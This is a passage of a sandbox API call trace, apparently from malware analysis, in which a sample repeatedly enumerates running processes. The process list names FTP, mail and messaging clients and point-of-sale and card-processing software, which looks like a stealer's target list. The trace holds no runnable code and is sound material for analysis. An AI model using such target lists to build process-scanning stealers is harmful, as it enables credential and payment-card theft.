th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0235.643] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0235.644] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0235.646] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0235.647] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0235.649] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0235.651] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0235.654] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0235.656] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0235.694] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0235.696] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0235.698] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0235.700] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0235.702] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0235.707] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0235.709] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0235.711] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0235.713] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0235.715] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0235.717] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0235.719] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0235.721] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0235.723] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0235.725] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0235.728] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0235.729] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0235.733] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0235.735] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0235.738] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0235.740] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0235.743] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0235.747] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0235.750] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0235.752] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0235.755] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0235.758] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0235.761] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0235.763] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0235.765] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0235.809] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0235.813] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0235.817] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0235.818] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0235.820] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0235.822] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0235.824] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0235.826] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0235.828] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0235.829] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0235.831] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0235.834] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0235.920] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0235.924] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.927] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0235.930] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0235.933] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0235.949] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0235.952] CloseHandle (hObject=0x148c) returned 1 [0235.952] Sleep (dwMilliseconds=0x64) [0235.953] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0235.993] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.995] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.997] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.999] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.000] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.002] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.004] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.005] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.007] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.009] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.010] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.012] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.013] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.015] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.017] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.019] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.021] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.022] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.024] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.025] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.027] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.029] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.030] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.032] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.033] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0236.036] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0236.038] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, 